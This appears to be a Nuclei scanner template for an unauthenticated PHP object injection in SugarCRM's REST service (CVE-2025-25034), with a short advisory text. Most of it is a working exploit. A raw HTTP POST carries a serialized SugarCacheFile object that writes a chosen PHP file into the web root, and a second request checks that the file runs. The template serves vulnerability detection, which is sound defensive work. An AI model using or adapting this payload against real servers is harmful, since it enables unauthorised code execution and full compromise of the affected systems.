A PHP object injection vulnerability exists in SugarCRM versions prior to 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, and 7.7.1.0 due to improper validation of PHP serialized input in the SugarRestSerialize.php script. The vulnerable code fails to sanitize the rest_data parameter before passing it to the unserialize() function. This allows an unauthenticated attacker to submit crafted serialized data containing malicious object declarations, resulting in arbitrary code execution within the application context. Although SugarCRM released a prior fix in advisory sugarcrm-sa-2016-001, the patch was incomplete and failed to address some vectors.
PoC
id: CVE-2025-25034
info:
name: SugarCRM - Unauthenticated Remote Code Execution via PHP Object Injection
author: Redmomn
severity: critical
description: |
A PHP object injection vulnerability exists in SugarCRM versions prior to 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, and 7.7.1.0 due to improper validation of PHP serialized input in the SugarRestSerialize.php script. The vulnerable code fails to sanitize the rest_data parameter before passing it to the unserialize() function. This allows an unauthenticated attacker to submit crafted serialized data containing malicious object declarations, resulting in arbitrary code execution within the application context. Although SugarCRM released a prior fix in advisory sugarcrm-sa-2016-001, the patch was incomplete and failed to address some vectors.
impact: |
Unauthenticated attackers can execute arbitrary code within the application context, potentially leading to full system compromise.
remediation: |
Update to versions 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, 7.7.1.0 or later.
reference:
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb
- https://support.sugarcrm.com/resources/security/sugarcrm-sa-2016-001/
- https://nvd.nist.gov/vuln/detail/CVE-2025-25034
- https://karmainsecurity.com/KIS-2016-07
- https://vulncheck.com/advisories/sugarcrm-php-deserialization-rce
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
cvss-score: 9.3
cve-id: CVE-2025-25034
cwe-id: CWE-502
epss-score: 0.04865
epss-percentile: 0.91589
metadata:
verified: true
fofa-query: app="sugarcrm"
max-request: 2
tags: cve,cve2025,sugarcrm,rce,php,deserialization,unauth,vkev,vuln
flow: http(1) && http(2)
variables:
num: '99999999'
filepath: 'custom/{{rand_text_alpha(8)}}.php'
http:
- raw:
- |
POST /service/v4/rest.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
method=login&input_type=Serialize&rest_data=O:14:"SugarCacheFile":23:{S:17:"\00*\00_cacheFileName";s:22:"../{{filepath}}";S:16:"\00*\00_cacheChanged";b:1;S:14:"\00*\00_localStore";a:1:{i:0;s:30:"<?php echo md5('{{num}}'); ?>";}}
matchers:
- type: dsl
dsl:
- 'len(body)==0'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
GET /{{filepath}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, md5(num))'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022052244c1d750a8b0a75b25079dbba10ee11e8a98e6ad1faba4809eaf8741ab0d4022100838711261384f38a833117fa1257987c16a3d5c5589647da1135f24ff206da10:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.